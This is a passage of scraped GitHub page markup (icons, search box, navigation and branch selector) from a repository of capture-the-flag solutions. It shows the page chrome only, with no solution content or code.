1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> BigB00st </span> <span>/</span> ctf-solutions <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/BigB00st/ctf-solutions/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":252509468,"originating_url":"https://github.com/BigB00st/ctf-solutions/tree/master/rgbCTF/misc/witty-algo","user_id":null}}" data-hydro-click-hmac="d47cb7c787db7755f97a939ee97cfdd9d79fa464661e8df7a2eaa0dc42d08892"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/BigB00st/ctf-solutions/refs" cache-key="v0:1585845383.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QmlnQjAwc3QvY3RmLXNvbHV0aW9ucw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/BigB00st/ctf-solutions/refs" cache-key="v0:1585845383.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QmlnQjAwc3QvY3RmLXNvbHV0aW9ucw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> 